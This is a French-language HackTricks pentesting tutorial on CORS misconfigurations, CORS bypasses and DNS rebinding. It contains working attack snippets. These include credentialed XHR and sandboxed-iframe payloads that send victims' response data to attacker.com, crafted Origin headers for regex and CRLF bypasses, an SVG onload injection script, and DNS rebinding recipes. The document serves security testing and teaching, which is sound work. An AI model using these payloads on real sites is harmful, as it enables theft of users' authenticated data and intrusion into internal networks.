CORS - Mauvaises configurations & contournement

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Qu’est-ce que CORS ?

Cross-Origin Resource Sharing (CORS) standard permet aux serveurs de définir qui peut accéder à leurs ressources et quelles méthodes de requête HTTP sont autorisées depuis des sources externes.

Une politique same-origin impose que le serveur qui demande une ressource et le serveur hébergeant la ressource partagent le même protocole (par ex. http://), le même nom de domaine (par ex. internal-web.com) et le même port (par ex. 80). Selon cette politique, seules les pages web provenant du même domaine et port sont autorisées à accéder aux ressources.

L’application de la politique same-origin dans le contexte de http://normal-website.com/example/example.html est illustrée comme suit :

URL accédéeAccès autorisé ?
http://normal-website.com/example/Oui : même schéma, domaine et port
http://normal-website.com/example2/Oui : même schéma, domaine et port
https://normal-website.com/example/Non : schéma et port différents
http://en.normal-website.com/example/Non : domaine différent
http://www.normal-website.com/example/Non : domaine différent
http://normal-website.com:8080/example/Non : port différent*

*Internet Explorer ignore le numéro de port lors de l’application de la politique same-origin, permettant ainsi cet accès.

Access-Control-Allow-Origin Header

Cet en-tête peut autoriser plusieurs origines, une null valeur, ou un wildcard *. Cependant, aucun navigateur ne supporte plusieurs origines, et l’utilisation du wildcard * est soumise à limitations. (Le wildcard doit être utilisé seul, et son utilisation conjointement avec Access-Control-Allow-Credentials: true n’est pas autorisée.)

Cet en-tête est émis par un serveur en réponse à une requête de ressource cross-domain initiée par un site web, le navigateur ajoutant automatiquement un en-tête Origin.

Access-Control-Allow-Credentials Header

Par défaut, les requêtes cross-origin sont effectuées sans credentials tels que les cookies ou l’en-tête Authorization. Toutefois, un serveur cross-domain peut autoriser la lecture de la réponse lorsque des credentials sont envoyés en réglant l’en-tête Access-Control-Allow-Credentials à true.

S’il est réglé sur true, le navigateur transmettra des credentials (cookies, en-têtes Authorization, ou certificats client TLS).

var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
console.log(xhr.responseText)
}
}
xhr.open("GET", "http://example.com/", true)
xhr.withCredentials = true
xhr.send(null)

fetch(url, {
credentials: "include",
})

const xhr = new XMLHttpRequest()
xhr.open("POST", "https://bar.other/resources/post-here/")
xhr.setRequestHeader("X-PINGOTHER", "pingpong")
xhr.setRequestHeader("Content-Type", "application/xml")
xhr.onreadystatechange = handler
xhr.send("<person><name>Arun</name></person>")

Requête pre-flight CSRF

Comprendre les requêtes pre-flight dans la communication inter-domaines

Lors de l’initiation d’une requête inter-domaines dans des conditions spécifiques, comme l’utilisation d’une méthode HTTP non standard (autre que HEAD, GET, POST), l’introduction de nouveaux headers, ou l’emploi d’une valeur particulière de Content-Type, une requête pre-flight peut être requise. Cette requête préliminaire, utilisant la méthode OPTIONS, sert à informer le serveur des intentions de la future requête cross-origin, notamment des méthodes HTTP et des headers qu’elle prévoit d’utiliser.

Le protocole Cross-Origin Resource Sharing (CORS) impose cette vérification pre-flight pour déterminer la faisabilité de l’opération cross-origin demandée en vérifiant les méthodes autorisées, les headers, et la fiabilité de l’origine. Pour comprendre en détail quelles conditions dispensent d’une requête pre-flight, consultez le guide complet fourni par Mozilla Developer Network (MDN).

Il est crucial de noter que l’absence d’une requête pre-flight n’annule pas l’obligation pour la réponse d’inclure des headers d’autorisation. Sans ces headers, le navigateur est incapable de traiter la réponse de la requête cross-origin.

Considérez l’illustration suivante d’une requête pre-flight visant à employer la méthode PUT avec un header personnalisé nommé Special-Request-Header :

OPTIONS /info HTTP/1.1
Host: example2.com
...
Origin: https://example.com
Access-Control-Request-Method: POST
Access-Control-Request-Headers: Authorization

En réponse, le serveur peut renvoyer des en-têtes indiquant les méthodes acceptées, l’origine autorisée et d’autres détails de la politique CORS, comme indiqué ci-dessous :

HTTP/1.1 204 No Content
...
Access-Control-Allow-Origin: https://example.com
Access-Control-Allow-Methods: PUT, POST, OPTIONS
Access-Control-Allow-Headers: Authorization
Access-Control-Allow-Credentials: true
Access-Control-Max-Age: 240
  • Access-Control-Allow-Headers: Cet en-tête spécifie quels en-têtes peuvent être utilisés lors de la requête réelle. Il est défini par le serveur pour indiquer les en-têtes autorisés dans les requêtes provenant du client.
  • Access-Control-Expose-Headers: Grâce à cet en-tête, le serveur informe le client des en-têtes qui peuvent être exposés comme faisant partie de la réponse, en plus des en-têtes de réponse simples.
  • Access-Control-Max-Age: Cet en-tête indique combien de temps les résultats d’une pre-flight request peuvent être mis en cache. Le serveur définit le temps maximal, en secondes, pendant lequel les informations renvoyées par une pre-flight request peuvent être réutilisées.
  • Access-Control-Request-Headers: Utilisé dans les pre-flight requests, cet en-tête est défini par le client pour informer le serveur des en-têtes HTTP que le client souhaite utiliser dans la requête réelle.
  • Access-Control-Request-Method: Cet en-tête, aussi utilisé dans les pre-flight requests, est défini par le client pour indiquer quelle méthode HTTP sera utilisée dans la requête réelle.
  • Origin: Cet en-tête est automatiquement défini par le navigateur et indique l’origine de la requête cross-origin. Il est utilisé par le serveur pour évaluer si la requête entrante doit être autorisée ou refusée en fonction de la politique CORS.

Notez que généralement (selon le content-type et les en-têtes définis) dans une GET/POST request aucune pre-flight request n’est envoyée (la requête est envoyée directement), mais si vous voulez accéder aux headers/body of the response, la réponse doit contenir un en-tête Access-Control-Allow-Origin qui l’autorise.
Donc, CORS ne protège pas contre CSRF (mais ça peut aider).

Pre-flight request pour les requêtes du réseau local

  1. Access-Control-Request-Local-Network: Cet en-tête est inclus dans la requête du client pour signifier que l’interrogation vise une ressource du réseau local. Il sert de marqueur pour informer le serveur que la requête provient du réseau local.
  2. Access-Control-Allow-Local-Network: En réponse, les serveurs utilisent cet en-tête pour indiquer que la ressource demandée est autorisée à être partagée avec des entités en dehors du réseau local. Il agit comme un feu vert pour le partage de ressources à travers différentes frontières réseau, assurant un accès contrôlé tout en maintenant les protocoles de sécurité.

Une réponse valide autorisant la requête vers le réseau local doit aussi comporter dans la réponse l’en-tête Access-Controls-Allow-Local_network: true :

HTTP/1.1 200 OK
...
Access-Control-Allow-Origin: https://example.com
Access-Control-Allow-Methods: GET
Access-Control-Allow-Credentials: true
Access-Control-Allow-Local-Network: true
Content-Length: 0
...

Warning

Notez que l’IP linux 0.0.0.0 fonctionne pour bypass ces exigences pour accéder à localhost car cette adresse IP n’est pas considérée comme “local”.

Il est aussi possible de bypass the Local Network requirements si vous utilisez la public IP address of a local endpoint (comme la public IP du router). Parce que dans plusieurs cas, même si l’public IP est accédée, si c’est from the local network, l’accès sera accordé.

Wildcards

Notez que, même si la configuration suivante peut sembler très permissive :

Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true

Cela n’est pas autorisé par les navigateurs et, par conséquent, les credentials ne seront pas envoyés avec la requête.

Configurations exploitables

Il a été observé que le réglage de Access-Control-Allow-Credentials sur true est un prérequis pour la plupart des attaques réelles. Ce paramètre permet au navigateur d’envoyer les credentials et de lire la réponse, augmentant l’efficacité de l’attaque. Sans cela, l’avantage de faire effectuer une requête par un navigateur plutôt que de l’exécuter soi-même diminue, car exploiter les cookies d’un utilisateur devient infaisable.

Exception : Exploiter la localisation réseau comme authentification

Une exception existe lorsque la localisation réseau de la victime sert de forme d’authentification. Cela permet d’utiliser le navigateur de la victime comme un proxy, contournant une authentification basée sur l’IP pour accéder à des applications intranet. Cette méthode présente des similarités d’impact avec DNS rebinding mais est plus simple à exploiter.

Réflexion de Origin dans Access-Control-Allow-Origin

Le scénario réel où la valeur de l’en-tête Origin est reflétée dans Access-Control-Allow-Origin est théoriquement improbable en raison des restrictions sur la combinaison de ces en-têtes. Cependant, des développeurs cherchant à activer CORS pour plusieurs URL peuvent générer dynamiquement l’en-tête Access-Control-Allow-Origin en copiant la valeur de l’en-tête Origin. Cette approche peut introduire des vulnérabilités, notamment lorsque un attaquant utilise un domaine dont le nom est conçu pour paraître légitime, trompant ainsi la logique de validation.

<script>
var req = new XMLHttpRequest()
req.onload = reqListener
req.open("get", "https://example.com/details", true)
req.withCredentials = true
req.send()
function reqListener() {
location = "/log?key=" + this.responseText
}
</script>

Exploiter l’origine null

L’origine null, utilisée dans des situations comme les redirections ou les fichiers HTML locaux, occupe une position particulière. Certaines applications mettent cette origine sur liste blanche pour faciliter le développement local, permettant involontairement à n’importe quel site web d’imiter une origine null via un sandboxed iframe, contournant ainsi les restrictions CORS.

<iframe
sandbox="allow-scripts allow-top-navigation allow-forms"
src="data:text/html,<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://example/details',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='https://attacker.com//log?key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>

<iframe
sandbox="allow-scripts allow-top-navigation allow-forms"
srcdoc="<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://example/details',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='https://attacker.com//log?key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>

Regular Expression Bypass Techniques

Lorsqu’on rencontre une liste blanche de domaines, il est crucial de tester les possibilités de contournement, par exemple en ajoutant le domaine de l’attaquant à un domaine présent dans la liste blanche ou en exploitant des vulnérabilités de subdomain takeover. De plus, les expressions régulières utilisées pour la validation des domaines peuvent omettre des subtilités des conventions de nommage, offrant d’autres possibilités de contournement.

Advanced Regular Expression Bypasses

Les patterns Regex se concentrent généralement sur les caractères alphanumériques, le point (.), et le tiret (-), en négligeant d’autres possibilités. Par exemple, un nom de domaine conçu pour inclure des caractères interprétés différemment par les navigateurs et les regex peut contourner les contrôles de sécurité. La façon dont Safari, Chrome et Firefox traitent les caractères underscore dans les sous-domaines illustre comment ces différences peuvent être exploitées pour contourner la logique de validation des domaines.

Pour plus d’informations et les paramètres de ce test de contournement : https://www.corben.io/advanced-cors-techniques/ et https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397

https://miro.medium.com/v2/resize:fit:720/format:webp/1*rolEK39-DDxeBgSq6KLKAA.png

From XSS inside a subdomain

Les développeurs mettent souvent en place des mécanismes défensifs pour se protéger contre l’exploitation de CORS en ajoutant à une liste blanche les domaines autorisés à effectuer des requêtes. Malgré ces précautions, la sécurité du système n’est pas infaillible. La présence d’un seul sous-domaine vulnérable parmi les domaines de la liste blanche peut permettre une exploitation de CORS via d’autres vulnérabilités, comme XSS (Cross-Site Scripting).

Pour illustrer, considérons le scénario où un domaine, requester.com, est présent dans la liste blanche pour accéder aux ressources d’un autre domaine, provider.com. La configuration côté serveur pourrait ressembler à ceci :

if ($_SERVER["HTTP_HOST"] == "*.requester.com") {
// Access data
} else {
// Unauthorized access
}

Dans cette configuration, tous les sous-domaines de requester.com ont accès. Cependant, si un sous-domaine, par exemple sub.requester.com, est compromis par une vulnérabilité XSS, un attaquant peut exploiter cette faiblesse. Par exemple, un attaquant ayant accès à sub.requester.com pourrait exploiter la vulnérabilité XSS pour bypasser les politiques CORS et accéder de manière malveillante aux ressources de provider.com.

Caractères spéciaux

PortSwigger’s URL validation bypass cheat sheet a constaté que certains navigateurs prennent en charge des caractères étranges dans les noms de domaine.

Chrome et Firefox supportent les underscores _ qui peuvent bypasser les regexes implémentés pour valider l’en-tête Origin:

GET / HTTP/2
Cookie: <session_cookie>
Origin: https://target.application_.arbitrary.com

HTTP/2 200 OK
Access-Control-Allow-Origin: https://target.application_.arbitrary.com
Access-Control-Allow-Credentials: true

Safari est encore plus permissif et accepte des caractères spéciaux dans le nom de domaine :

GET / HTTP/2
Cookie: <session_cookie>
Origin: https://target.application}.arbitrary.com

HTTP/2 200 OK
Cookie: <session_cookie>
Access-Control-Allow-Origin: https://target.application}.arbitrary.com
Access-Control-Allow-Credentials: true

Autres astuces amusantes pour les URL

URL Format Bypass

Empoisonnement du cache côté serveur

From this research

Il est possible qu’en exploitant l’empoisonnement du cache côté serveur via HTTP header injection, une vulnérabilité de type Cross-Site Scripting (XSS) stockée puisse être induite. Ce scénario se produit lorsqu’une application ne filtre pas l’en-tête Origin contre des caractères illégaux, créant une vulnérabilité particulièrement problématique pour les utilisateurs d’Internet Explorer et Edge. Ces navigateurs traitent (0x0d) comme un terminateur d’en-tête HTTP valide, ce qui conduit à des vulnérabilités de type HTTP header injection.

Considérez la requête suivante où l’en-tête Origin est manipulé:

GET / HTTP/1.1
Origin: z[0x0d]Content-Type: text/html; charset=UTF-7

Internet Explorer et Edge interprètent la réponse comme :

HTTP/1.1 200 OK
Access-Control-Allow-Origin: z
Content-Type: text/html; charset=UTF-7

Bien qu’exploiter directement cette vulnérabilité en faisant qu’un navigateur web envoie un header malformé ne soit pas faisable, une requête craftée peut être générée manuellement avec des outils comme Burp Suite. Cette méthode pourrait conduire à ce qu’un cache côté serveur enregistre la réponse et la serve involontairement à d’autres utilisateurs. Le payload crafté vise à modifier le jeu de caractères de la page en UTF-7, un encodage souvent associé aux vulnérabilités XSS car il permet d’encoder des caractères d’une manière qui peut être interprétée comme du script dans certains contextes.

For further reading on stored XSS vulnerabilities, see PortSwigger.

Note: The exploitation of HTTP header injection vulnerabilities, particularly through server-side cache poisoning, underscores the critical importance of validating and sanitizing all user-supplied input, including HTTP headers. Always employ a robust security model that includes input validation to prevent such vulnerabilities.

Client-Side cache poisoning

From this research

Dans ce scénario, on observe une instance d’une page web reflétant le contenu d’un custom HTTP header sans encodage approprié. Plus précisément, la page web renvoie le contenu inclus dans un header X-User-id, qui pourrait contenir du JavaScript malveillant, comme démontré par l’exemple où le header contient une balise image SVG conçue pour exécuter du JavaScript au chargement.

Les politiques de Cross-Origin Resource Sharing (CORS) permettent l’envoi de custom headers. Cependant, en l’absence de rendu direct de la réponse par le navigateur à cause des restrictions CORS, l’utilité d’une telle injection peut sembler limitée. Le point critique apparaît en considérant le comportement du cache du navigateur. Si le header Vary: Origin n’est pas spécifié, il devient possible que la réponse malveillante soit mise en cache par le navigateur. Par la suite, cette réponse mise en cache pourrait être rendue directement lors de la navigation vers l’URL, contournant la nécessité d’un rendu direct lors de la requête initiale. Ce mécanisme augmente la fiabilité de l’attaque en s’appuyant sur le caching côté client.

Pour illustrer cette attaque, un exemple JavaScript est fourni, conçu pour être exécuté dans l’environnement d’une page web, par exemple via JSFiddle. Ce script effectue une action simple : il envoie une requête vers une URL donnée avec un header custom contenant le JavaScript malveillant. Après la réussite de la requête, il tente de naviguer vers l’URL cible, pouvant déclencher l’exécution du script injecté si la réponse a été mise en cache sans gestion appropriée du header Vary: Origin.

Voici un résumé du JavaScript utilisé pour exécuter cette attaque :

<script>
function gotcha() {
location = url
}
var req = new XMLHttpRequest()
url = "https://example.com/" // Note: Be cautious of mixed content blocking for HTTP sites
req.onload = gotcha
req.open("get", url, true)
req.setRequestHeader("X-Custom-Header", "<svg/onload=alert(1)>")
req.send()
</script>

Bypass

XSSI (Cross-Site Script Inclusion) / JSONP

XSSI, aussi connu sous le nom de Cross-Site Script Inclusion, est un type de vulnérabilité qui profite du fait que la Same Origin Policy (SOP) ne s’applique pas lors de l’inclusion de ressources via le script tag. Ceci est dû au besoin d’autoriser l’inclusion de scripts depuis des domaines différents. Cette vulnérabilité permet à un attaquant d’accéder et de lire tout contenu inclus via le script tag.

Cette vulnérabilité devient particulièrement critique pour le JavaScript dynamique ou JSONP (JSON with Padding), surtout lorsque des informations d’ambient-authority comme les cookies sont utilisées pour l’authentification. Lorsqu’une ressource est demandée depuis un hôte différent, les cookies sont envoyés, les rendant accessibles à l’attaquant.

Pour mieux comprendre et atténuer cette vulnérabilité, vous pouvez utiliser le plugin BurpSuite disponible à https://github.com/kapytein/jsonp. Ce plugin peut aider à identifier et corriger d’éventuelles vulnérabilités XSSI dans vos applications web.

Read more about the difefrent types of XSSI and how to exploit them here.

Essayez d’ajouter un paramètre callback dans la requête. Il se peut que la page soit conçue pour renvoyer les données en JSONP. Dans ce cas la page renverra les données avec Content-Type: application/javascript, ce qui contournera la politique CORS.

Easy (useless?) bypass

Une façon de contourner la restriction Access-Control-Allow-Origin est de demander à une application web d’effectuer une requête en votre nom et de renvoyer la réponse. Cependant, dans ce scénario, les identifiants de la victime finale ne seront pas envoyés puisque la requête est effectuée vers un domaine différent.

  1. CORS-escape : Cet outil fournit un proxy qui transfère votre requête avec ses headers, tout en usurpant l’Origin pour qu’il corresponde au domaine demandé. Cela contourne effectivement la politique CORS. Exemple d’utilisation avec XMLHttpRequest :
  2. simple-cors-escape : Cet outil propose une approche alternative de proxying. Plutôt que de relayer votre requête telle quelle, le serveur effectue sa propre requête avec les paramètres spécifiés.

Iframe + Popup Bypass

Vous pouvez bypass CORS checks tels que e.origin === window.origin en créant un iframe et en ouvrant depuis celui-ci une nouvelle fenêtre. Plus d’informations sur la page suivante :

Iframes in XSS, CSP and SOP

DNS Rebinding via TTL

Le DNS rebinding via TTL est une technique utilisée pour contourner certaines mesures de sécurité en manipulant les enregistrements DNS. Voici comment cela fonctionne :

  1. L’attaquant crée une page web et fait en sorte que la victime y accède.
  2. L’attaquant change ensuite le DNS (IP) de son propre domaine pour pointer vers la page web de la victime.
  3. Le navigateur de la victime met en cache la réponse DNS, qui peut comporter une valeur TTL (Time to Live) indiquant la durée de validité de l’enregistrement DNS.
  4. Quand le TTL expire, le navigateur de la victime effectue une nouvelle requête DNS, permettant à l’attaquant d’exécuter du code JavaScript sur la page de la victime.
  5. En gardant le contrôle de l’IP de la victime, l’attaquant peut collecter des informations depuis la victime sans envoyer de cookies au serveur cible.

Il est important de noter que les navigateurs disposent de mécanismes de mise en cache qui peuvent empêcher l’exploitation immédiate de cette technique, même avec des TTL faibles.

Le DNS rebinding peut être utile pour contourner des vérifications explicites d’IP effectuées par la victime ou dans des scénarios où un utilisateur ou un bot reste sur la même page pendant une longue période, permettant à la mise en cache d’expirer.

Si vous avez besoin d’un moyen rapide pour abuser du DNS rebinding, vous pouvez utiliser des services comme https://lock.cmpxchg8b.com/rebinder.html.

Pour exécuter votre propre serveur de DNS rebinding, vous pouvez utiliser des outils comme DNSrebinder (https://github.com/mogwailabs/DNSrebinder). Cela implique d’exposer votre port local 53/udp, de créer un enregistrement A pointant vers lui (par ex. ns.example.com), et de créer un enregistrement NS pointant vers le sous-domaine A précédemment créé (par ex. ns.example.com). Tout sous-domaine de ns.example.com sera alors résolu par votre hôte.

Vous pouvez aussi explorer un serveur public en fonctionnement à http://rebind.it/singularity.html pour mieux comprendre et expérimenter.

DNS Rebinding via DNS Cache Flooding

Le DNS rebinding via DNS cache flooding est une autre technique utilisée pour contourner le mécanisme de cache des navigateurs et forcer une seconde requête DNS. Voici comment cela fonctionne :

  1. Initialement, quand la victime effectue une requête DNS, elle reçoit l’adresse IP de l’attaquant.
  2. Pour contourner la défense de cache, l’attaquant exploite un service worker. Le service worker inonde le cache DNS, ce qui supprime effectivement le nom de serveur attaquant mis en cache.
  3. Quand le navigateur de la victime effectue une seconde requête DNS, la réponse est cette fois l’adresse IP 127.0.0.1, qui réfère normalement au localhost.

En inondant le cache DNS via le service worker, l’attaquant peut manipuler le processus de résolution DNS et forcer le navigateur de la victime à effectuer une seconde requête, cette fois résolue vers l’IP souhaitée par l’attaquant.

DNS Rebinding via Cache

Une autre façon de contourner la défense de cache est d’utiliser plusieurs adresses IP pour le même sous-domaine chez le fournisseur DNS. Voici le fonctionnement :

  1. L’attaquant configure deux enregistrements A (ou un seul enregistrement A avec deux IPs) pour le même sous-domaine chez le fournisseur DNS.
  2. Quand un navigateur interroge ces enregistrements, il reçoit les deux adresses IP.
  3. Si le navigateur choisit d’utiliser d’abord l’IP de l’attaquant, l’attaquant peut servir une charge qui effectue des requêtes HTTP vers le même domaine.
  4. Cependant, une fois que l’attaquant obtient l’IP de la victime, il cesse de répondre au navigateur de la victime.
  5. Le navigateur de la victime, constatant que le domaine est non-réactif, utilise alors la seconde IP fournie.
  6. En accédant à la seconde IP, le navigateur contourne la Same Origin Policy (SOP), permettant à l’attaquant d’abuser de cela pour collecter et exfiltrer des informations.

Cette technique exploite le comportement des navigateurs lorsque plusieurs adresses IP sont fournies pour un domaine. En contrôlant stratégiquement les réponses et en manipulant le choix d’IP du navigateur, un attaquant peut exploiter la SOP et accéder à des informations de la victime.

Warning

Notez que pour accéder à localhost vous devriez tenter de rebind 127.0.0.1 sous Windows et 0.0.0.0 sous Linux.
Des fournisseurs tels que godaddy ou cloudflare ne m’ont pas permis d’utiliser l’IP 0.0.0.0, mais AWS route53 m’a permis de créer un enregistrement A avec 2 IPs dont l’une était “0.0.0.0”

Pour plus d’infos vous pouvez consulter https://unit42.paloaltonetworks.com/dns-rebinding/

Other Common Bypasses

  • If internal IPs aren’t allowed, they might forgot forbidding 0.0.0.0 (works on Linux and Mac)
  • If internal IPs aren’t allowed, respond with a CNAME to localhost (works on Linux and Ma
  • If internal IPs aren’t allowed as DNS responses, you can respond CNAMEs to internal services such as www.corporate.internal.

DNS Rebidding Weaponized

Vous pouvez trouver plus d’informations sur les techniques de contournement précédentes et comment utiliser l’outil suivant dans la conférence Gerald Doussot - State of DNS Rebinding Attacks & Singularity of Origin - DEF CON 27 Conference.

Singularity of Origin est un outil pour mener des attaques de DNS rebinding. Il inclut les composants nécessaires pour rebind l’adresse IP du nom DNS du serveur attaquant vers l’IP de la machine cible et pour servir des payloads d’attaque afin d’exploiter des logiciels vulnérables sur la machine cible.

DNS Rebinding over DNS-over-HTTPS (DoH)

DoH se contente de tunneliser le format DNS wire RFC1035 classique à l’intérieur de HTTPS (généralement un POST avec Content-Type: application/dns-message). Le resolver répond toujours avec les mêmes resource records, donc les techniques qui brisent la SOP continuent de fonctionner même lorsque les navigateurs résolvent le hostname contrôlé par l’attaquant via TLS.

Key observations

  • Chrome (Windows/macOS) et Firefox (Linux) se rebindent avec succès lorsqu’ils sont configurés pour les resolvers DoH Cloudflare, Google ou OpenDNS. Le chiffrement du transport ne ralentit ni ne bloque le flux d’attaque pour les stratégies first-then-second, multiple-answers, ou DNS cache flooding.
  • Les resolvers publics voient toujours chaque requête, mais ils n’appliquent que rarement le mapping host-to-IP qu’un navigateur doit respecter. Une fois que le serveur autoritaire renvoie la séquence de rebinding, le navigateur conserve le tuple d’origine tout en se connectant à la nouvelle IP.

Singularity strategies and timing over DoH

  • First-then-second reste l’option la plus fiable : la première lookup renvoie l’IP de l’attaquant qui sert le payload, chaque lookup suivant renvoie l’IP interne/localhost. Avec les caches DNS typiques des navigateurs, le basculement du trafic se produit en ~40–60 secondes, même lorsque le recursive resolver n’est joignable que via HTTPS.
  • Multiple answers (fast rebinding) atteint toujours localhost en <3 secondes en répondant avec deux enregistrements A (attacker IP + 0.0.0.0 sur Linux/macOS ou 127.0.0.1 sur Windows) et en blackholing programmatique de la première IP (par exemple, iptables -I OUTPUT -d <attacker_ip> -j DROP) peu après le chargement de la page. L’implémentation DoH de Firefox peut émettre des requêtes DNS répétées, donc la correction Singularity est de planifier la règle de firewall relative au timestamp de la première requête au lieu de rafraîchir le timer à chaque requête.

Beating “rebind protection” in DoH providers

  • Certains fournisseurs (par ex., NextDNS) remplacent les réponses privées/loopback par 0.0.0.0, mais Linux et macOS routent volontiers cette destination vers des services locaux. Retourner volontairement 0.0.0.0 comme second enregistrement permet donc toujours de pivoter l’origine vers localhost.
  • Filtrer uniquement la réponse directe A/AAAA est inefficace : retourner un CNAME vers un hostname interne-only pousse le resolver DoH public à transférer l’alias tandis que des navigateurs comme Firefox retombent sur le DNS système pour la zone interne, complétant la résolution vers une IP privée qui est toujours traitée comme l’origine attaquante.

Browser-specific DoH behavior

  • Firefox DoH fonctionne en mode fallback : tout échec DoH (y compris une cible CNAME non résolue) déclenche une lookup en clair via le resolver OS, qui est typiquement un DNS d’entreprise connaissant l’espace de noms interne. Ce comportement rend le contournement par CNAME fiable à l’intérieur des réseaux d’entreprise.
  • Chrome DoH ne s’active que lorsque le DNS OS pointe vers un recursive resolver DoH apprové (Cloudflare, Google, Quad9, etc.) et ne fournit pas la même chaîne de fallback. Les hostnames internes qui existent seulement sur le DNS d’entreprise échoueront donc à se résoudre, mais le rebinding vers localhost ou toute adresse routable réussit toujours parce que l’attaquant contrôle l’ensemble des réponses.

Testing and monitoring DoH flows

  • Firefox : Settings ➜ Network Settings ➜ Enable DNS over HTTPS et fournir l’endpoint DoH (Cloudflare et NextDNS sont intégrés). Chrome/Chromium : activer chrome://flags/#dns-over-https et configurer les serveurs DNS de l’OS vers l’un des resolvers supportés par Chrome (par ex., 1.1.1.1/1.0.0.1).
  • Vous pouvez interroger directement les APIs DoH publiques, par ex. curl -H 'accept: application/dns-json' 'https://cloudflare-dns.com/dns-query?name=example.com&type=A' | jq pour confirmer les enregistrements exacts que les navigateurs mettront en cache.
  • Intercepter DoH dans Burp/ZAP fonctionne toujours car il s’agit simplement de HTTPS (payload DNS binaire dans le body). Pour une inspection au niveau paquet, exportez les clés TLS (export SSLKEYLOGFILE=~/SSLKEYLOGFILE.txt) avant de lancer le navigateur et laissez Wireshark décrypter les sessions DoH avec le filtre d’affichage dns pour voir quand le navigateur reste sur DoH ou retombe sur le DNS classique.

Real Protection against DNS Rebinding

  • Use TLS in internal services
  • Request authentication to access data
  • Validate the Host header
  • https://wicg.github.io/private-network-access/: Proposal to always send a pre-flight request when public servers want to access internal servers

Tools

Fuzz possible misconfigurations in CORS policies

References

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks